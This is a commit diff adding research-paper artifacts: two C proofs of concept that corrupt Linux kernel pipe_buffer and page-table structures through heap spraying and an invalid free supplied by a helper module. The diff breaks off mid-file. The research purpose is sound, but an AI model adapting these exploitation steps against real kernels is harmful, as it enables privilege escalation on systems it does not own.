moved paper and artifacts
This commit is contained in:
parent
ab27c4cba8
commit
92bd09ec53
36 changed files with 0 additions and 0 deletions
24
paper/artifacts/attacks/Makefile
Normal file
24
paper/artifacts/attacks/Makefile
Normal file
|
@ -0,0 +1,24 @@
|
|||
CC := gcc
|
||||
|
||||
SOURCES := $(wildcard *.c)
|
||||
|
||||
TARGETS := $(SOURCES:.c=.elf)
|
||||
|
||||
CFLAGS += -g
|
||||
CFLAGS += -O2
|
||||
CFLAGS += -static
|
||||
CFLAGS += -Wall
|
||||
CFLAGS += -Wextra
|
||||
CFLAGS += -Wno-int-to-pointer-cast
|
||||
CFLAGS += -Wno-pointer-to-int-cast
|
||||
CFLAGS += -D_FILE_OFFSET_BITS=64
|
||||
CFLAGS += -I../include
|
||||
CFLAGS += -pthread
|
||||
|
||||
all: $(TARGETS)
|
||||
|
||||
%.elf: %.c
|
||||
$(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -f *.elf
|
403
paper/artifacts/attacks/advanced_slubstick.c
Normal file
403
paper/artifacts/attacks/advanced_slubstick.c
Normal file
|
@ -0,0 +1,403 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include "pgtable.h"
|
||||
#include "tlb_flush.h"
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
// #define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0 // v6.8
|
||||
#define ANON_PIPE_BUF_OPS_OFFSET 0x1448280 // v6.6
|
||||
|
||||
// #define DEBUG
|
||||
#define RESTORE
|
||||
|
||||
#define TASK_STRUCT_SLAB_ORDER 3
|
||||
#define TASK_STRUCT_SIZE 10496
|
||||
// #define TASK_STRUCT_COMM_OFFSET 3008
|
||||
#define TASK_STRUCT_COMM_OFFSET 3016
|
||||
// #define TASK_STRUCT_PID_OFFSET 2464
|
||||
#define TASK_STRUCT_PID_OFFSET 2456
|
||||
// #define TASK_STRUCT_TGID_OFFSET 2468
|
||||
#define TASK_STRUCT_TGID_OFFSET 2460
|
||||
// #define TASK_STRUCT_REAL_CRED_OFFSET 2984
|
||||
#define TASK_STRUCT_REAL_CRED_OFFSET 2992
|
||||
// #define TASK_STRUCT_CRED_OFFSET 2992
|
||||
#define TASK_STRUCT_CRED_OFFSET 3000
|
||||
|
||||
#define CRED_UID_GID_OFFSET 8
|
||||
#define CRED_SUID_SGID_OFFSET 16
|
||||
#define CRED_EUID_EGID_OFFSET 24
|
||||
#define CRED_FSUID_FSGID_OFFSET 32
|
||||
#define CRED_CAP_INHERITABLE_OFFSET 48
|
||||
#define CRED_CAP_PERMITTED_OFFSET 56
|
||||
#define CRED_CAP_EFFECTIVE_OFFSET 64
|
||||
#define CRED_CAP_BSET_OFFSET 72
|
||||
#define CRED_CAP_AMBIENT_OFFSET 80
|
||||
|
||||
#define PAGE_SIZE (1<<12)
|
||||
|
||||
#define OBJ_PER_SLAB 42
|
||||
|
||||
#define MSG_SPRAYS (OBJ_PER_SLAB*40)
|
||||
#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define MSG_NEXT_HEADER 8
|
||||
#define __MSG_SIZE 96
|
||||
#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
|
||||
|
||||
#define MSG_SPRAYS2 (OBJ_PER_SLAB*4)
|
||||
#define MSG_TYPE2 0x42
|
||||
#define __MSG_SIZE2 (4096+__MSG_SIZE)
|
||||
#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER)
|
||||
|
||||
#define PIPE_SPRAY (OBJ_PER_SLAB*4)
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 1
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
int qids2[MSG_SPRAYS2];
|
||||
size_t overlayed_id = -1;
|
||||
|
||||
size_t virt_base;
|
||||
size_t vmemmap_base;
|
||||
size_t dpm_base;
|
||||
size_t code_base;
|
||||
|
||||
size_t msg_msg;
|
||||
|
||||
char buffer[0x2000];
|
||||
char page_content[sizeof(buffer)];
|
||||
char page_content_org[sizeof(buffer)];
|
||||
|
||||
int pipes[PIPE_SPRAY][2];
|
||||
|
||||
void cleanup(void)
|
||||
{
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
if (i != overlayed_id)
|
||||
cleanup_queue_no_err(qids2[i]);
|
||||
}
|
||||
|
||||
size_t pipe_buffer;
|
||||
void stage1(void)
|
||||
{
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] alloc msg_queue\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] alloc msg_msg\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
|
||||
printf("[+] leaked msg_msg %016zx\n", msg_msg);
|
||||
|
||||
printf("[*] free msg_msg\n");
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
// free all all but 1 of the current slab
|
||||
// creates all free slots on the slot except one
|
||||
// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
|
||||
for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i)
|
||||
get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
resize_pipe(pipes[i][0], 2);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
printf("[*] reclaimed as pipe_buffer\n");
|
||||
pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
|
||||
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t vmemmap_pud;
|
||||
#ifdef RESTORE
|
||||
char pipe_buffer_old_content[PIPE_SIZE];
|
||||
void save_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]);
|
||||
printf("[*] temporarily store pipe_buffer content\n");
|
||||
}
|
||||
void restore_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i));
|
||||
printf("[*] store old pipe_buffer content\n");
|
||||
}
|
||||
#else
|
||||
void save_pipe_buffer_state(void) {}
|
||||
void restore_pipe_buffer_state(void) {}
|
||||
#endif
|
||||
|
||||
size_t address;
|
||||
size_t pud;
|
||||
void stage2(void)
|
||||
{
|
||||
printf("[*] leak pud\n");
|
||||
address = (void *)mmap((void *)((1ULL<<39)|255*(1ULL<<30)), PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
if ((void *)address == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
*(volatile size_t *)address;
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte);
|
||||
pud = dpm_base + (pgde & ~(0xfff));
|
||||
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address, pgde, pude, pmde, pte);
|
||||
printf("[*] pud %016zx\n", pud);
|
||||
}
|
||||
|
||||
struct pipe_buffer {
|
||||
size_t page;
|
||||
unsigned int len;
|
||||
unsigned int offset;
|
||||
size_t ops;
|
||||
unsigned int flags;
|
||||
size_t private;
|
||||
};
|
||||
|
||||
#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
|
||||
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
|
||||
void stage3(void)
|
||||
{
|
||||
vmemmap_pud = DPM_TO_VMEMMAP(pud);
|
||||
save_pipe_buffer_state();
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE2;
|
||||
printf("[*] alloc queues for reclaiming invalid free\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] invalid free at %016zx\n", pipe_buffer-8);
|
||||
lkm_arb_free(pipe_buffer-8);
|
||||
|
||||
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
|
||||
corr_pipe_buffer->page = vmemmap_pud;
|
||||
corr_pipe_buffer->offset = 8;
|
||||
corr_pipe_buffer->len = 15;
|
||||
corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
corr_pipe_buffer->flags = 0x10;
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
send_msg(qids2[i], message, MSG_SIZE2, 0);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void pud_print(void)
|
||||
{
|
||||
printf("[*] print pud\n");
|
||||
for (size_t i = 0; i < 16*8; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pud+i, (size_t)&tmp);
|
||||
printf("%016zx: %016zx\n", pud+i, tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
|
||||
size_t page_fd = -1;
|
||||
size_t pivot_addr;
|
||||
void stage4(void)
|
||||
{
|
||||
size_t count = 0;
|
||||
printf("[*] find overwritten pipe_buffer\n");
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 7);
|
||||
if (buffer[0] != 0x41) {
|
||||
buffer[7] = -1;
|
||||
count++;
|
||||
page_fd = i;
|
||||
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
|
||||
if (IS_VMEMMAP(*(size_t *)(buffer))) {
|
||||
printf("[+] found page %016zx\n", *(size_t *)(buffer));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (page_fd == (size_t)-1 || count != 1) {
|
||||
printf("[!] count %zd\n", count);
|
||||
printf("[!] page_fd %016zx\n", page_fd);
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != 15) {
|
||||
printf("[+] found overlayed msg_msg %zd\n", i);
|
||||
overlayed_id = i;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
printf("[*] write to pud\n");
|
||||
char _cor_pude[16*8+1];
|
||||
memset(_cor_pude, 0, sizeof(_cor_pude));
|
||||
for (size_t i = 0; i < 16; ++i) {
|
||||
*(size_t *)(_cor_pude + 1 + 8*i) = PAGE_TABLE_LARGE + i*(1ULL << 30) + (4ULL << 30);
|
||||
}
|
||||
write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16*8);
|
||||
|
||||
pivot_addr = ((1ULL<<39)|3*(1ULL<<30));
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte);
|
||||
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr, pgde, pude, pmde, pte);
|
||||
|
||||
#ifdef DEBUG
|
||||
pud_print();
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t old_pt;
|
||||
size_t *arb_pt = (size_t *)-1;
|
||||
char *arb_page = (char *)-1;
|
||||
void stage5(void)
|
||||
{
|
||||
for (size_t try = 0; try < 0x10; ++try) {
|
||||
char buf[PAGE_SIZE];
|
||||
char *ptr = mmap((void *)((1ULL << 46)|(1ULL<<39)*try), (1<<30), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
size_t mapping_space = (16ULL<<30);
|
||||
|
||||
printf("[*] init pt already mapped\n");
|
||||
char *pt_already_mapped = malloc(mapping_space/PAGE_SIZE);
|
||||
memset(pt_already_mapped, 0, mapping_space/PAGE_SIZE);
|
||||
for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i)
|
||||
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE)
|
||||
pt_already_mapped[i] = 1;
|
||||
|
||||
printf("[*] map a lot of page tables\n");
|
||||
for (size_t i = 0; i < (1<<30); i += (1<<21))
|
||||
memset(ptr + i, 0x46, PAGE_SIZE);
|
||||
|
||||
printf("[*] show where new page tables are\n");
|
||||
for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i) {
|
||||
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE && pt_already_mapped[i] == 0) {
|
||||
printf("[+] found pt at %ld with %016zx\n", i, *(size_t *)(pivot_addr + PAGE_SIZE * i));
|
||||
arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i);
|
||||
old_pt = *arb_pt;
|
||||
*arb_pt = PTE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
memset(buf, 0x46, PAGE_SIZE);
|
||||
for (size_t i = 0; i < (1<<30); i += (1<<21)) {
|
||||
if (memcmp(ptr + i, buf, PAGE_SIZE)) {
|
||||
arb_page = ptr + i;
|
||||
printf("[+] found page %016zx\n", (size_t)arb_page);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (arb_page != (char *)-1)
|
||||
break;
|
||||
printf("[?] arbitrary page not found -> retry\n");
|
||||
}
|
||||
if (arb_page == (char *)-1) {
|
||||
printf("[!] arbitrary page not found\n");
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] success\n");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
set_limit();
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
lkm_init();
|
||||
|
||||
lkm_virt_base_leak((size_t)&virt_base);
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] virt_base %016zx\n", virt_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
433
paper/artifacts/attacks/dirty_page.c
Normal file
433
paper/artifacts/attacks/dirty_page.c
Normal file
|
@ -0,0 +1,433 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0
|
||||
|
||||
// #define DEBUG
|
||||
#define RESTORE
|
||||
|
||||
#define TASK_STRUCT_SLAB_ORDER 3
|
||||
#define TASK_STRUCT_SIZE 10496
|
||||
#define TASK_STRUCT_COMM_OFFSET 3008
|
||||
#define TASK_STRUCT_PID_OFFSET 2464
|
||||
#define TASK_STRUCT_TGID_OFFSET 2468
|
||||
#define TASK_STRUCT_REAL_CRED_OFFSET 2984
|
||||
#define TASK_STRUCT_CRED_OFFSET 2992
|
||||
|
||||
#define CRED_UID_GID_OFFSET 8
|
||||
#define CRED_SUID_SGID_OFFSET 16
|
||||
#define CRED_EUID_EGID_OFFSET 24
|
||||
#define CRED_FSUID_FSGID_OFFSET 32
|
||||
#define CRED_CAP_INHERITABLE_OFFSET 48
|
||||
#define CRED_CAP_PERMITTED_OFFSET 56
|
||||
#define CRED_CAP_EFFECTIVE_OFFSET 64
|
||||
#define CRED_CAP_BSET_OFFSET 72
|
||||
#define CRED_CAP_AMBIENT_OFFSET 80
|
||||
|
||||
#define PAGE_SIZE (1<<12)
|
||||
|
||||
#define OBJ_PER_SLAB 42
|
||||
|
||||
#define MSG_SPRAYS (OBJ_PER_SLAB*40)
|
||||
#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define MSG_NEXT_HEADER 8
|
||||
#define __MSG_SIZE 96
|
||||
#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
|
||||
|
||||
#define MSG_SPRAYS2 (OBJ_PER_SLAB*4)
|
||||
#define MSG_TYPE2 0x42
|
||||
#define __MSG_SIZE2 (4096+__MSG_SIZE)
|
||||
#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER)
|
||||
|
||||
#define PIPE_SPRAY (OBJ_PER_SLAB*4)
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 1
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
int qids2[MSG_SPRAYS2];
|
||||
size_t overlayed_id = -1;
|
||||
|
||||
size_t vmemmap_base;
|
||||
size_t dpm_base;
|
||||
size_t code_base;
|
||||
|
||||
size_t msg_msg;
|
||||
|
||||
char buffer[0x2000];
|
||||
char page_content[sizeof(buffer)];
|
||||
char page_content_org[sizeof(buffer)];
|
||||
|
||||
int pipes[PIPE_SPRAY][2];
|
||||
|
||||
void cleanup(void)
|
||||
{
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
if (i != overlayed_id)
|
||||
cleanup_queue_no_err(qids2[i]);
|
||||
}
|
||||
|
||||
size_t pipe_buffer;
|
||||
void stage1(void)
|
||||
{
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] alloc msg_queue\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] alloc msg_msg\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
|
||||
printf("[+] leaked msg_msg %016zx\n", msg_msg);
|
||||
|
||||
printf("[*] free msg_msg\n");
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
// free all all but 1 of the current slab
|
||||
// creates all free slots on the slot except one
|
||||
// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
|
||||
for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i)
|
||||
get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
resize_pipe(pipes[i][0], 2);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
printf("[*] reclaimed as pipe_buffer\n");
|
||||
pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
|
||||
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t adjacent_pipe_buffer;
|
||||
size_t vmemmap_pipe_buffer;
|
||||
#ifdef RESTORE
|
||||
char pipe_buffer_old_content[PIPE_SIZE];
|
||||
void save_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]);
|
||||
printf("[*] temporarily store pipe_buffer content\n");
|
||||
}
|
||||
void restore_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i));
|
||||
printf("[*] store old pipe_buffer content\n");
|
||||
}
|
||||
#else
|
||||
void save_pipe_buffer_state(void) {}
|
||||
void restore_pipe_buffer_state(void) {}
|
||||
#endif
|
||||
|
||||
struct pipe_buffer {
|
||||
size_t page;
|
||||
unsigned int len;
|
||||
unsigned int offset;
|
||||
size_t ops;
|
||||
unsigned int flags;
|
||||
size_t private;
|
||||
};
|
||||
|
||||
#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
|
||||
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
|
||||
void stage2(void)
|
||||
{
|
||||
vmemmap_pipe_buffer = DPM_TO_VMEMMAP(pipe_buffer);
|
||||
save_pipe_buffer_state();
|
||||
|
||||
memset(buffer, 0x42, sizeof(buffer));
|
||||
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE2;
|
||||
printf("[*] alloc queues for reclaiming invalid free\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] invalid free at %016zx\n", pipe_buffer-8);
|
||||
lkm_arb_free(pipe_buffer-8);
|
||||
|
||||
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pipe_buffer);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
|
||||
corr_pipe_buffer->page = vmemmap_pipe_buffer;
|
||||
corr_pipe_buffer->offset = 8;
|
||||
corr_pipe_buffer->len = __MSG_SIZE;
|
||||
corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
corr_pipe_buffer->flags = 0x10;
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
send_msg(qids2[i], message, MSG_SIZE2, 0);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
|
||||
size_t page_fd = -1;
|
||||
void stage3(void)
|
||||
{
|
||||
size_t count = 0;
|
||||
printf("[*] find overwritten pipe_buffer\n");
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 7);
|
||||
if (buffer[0] != 0x41) {
|
||||
buffer[7] = -1;
|
||||
count++;
|
||||
page_fd = i;
|
||||
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
|
||||
if (IS_VMEMMAP(*(size_t *)(buffer))) {
|
||||
printf("[+] found page %016zx\n", *(size_t *)(buffer));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (page_fd == (size_t)-1 || count != 1) {
|
||||
printf("[!] count %zd\n", count);
|
||||
printf("[!] page_fd %016zx\n", page_fd);
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
|
||||
get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != __MSG_SIZE) {
|
||||
printf("[+] found overlayed msg_msg %zd\n", i);
|
||||
overlayed_id = i;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// write from the &len to &private of the next
|
||||
#define PIPE_OFFSET (__MSG_SIZE+PIPE_SIZE-8)
|
||||
size_t arbrw_fd = -1;
|
||||
void stage4(void)
|
||||
{
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
if (i == page_fd)
|
||||
continue;
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
|
||||
for (size_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
|
||||
|
||||
cor_pipe_buffer->len = 8+__MSG_SIZE;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = vmemmap_base;
|
||||
next_cor_pipe_buffer->len = 0;
|
||||
next_cor_pipe_buffer->offset = PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
|
||||
#ifdef DEBUG
|
||||
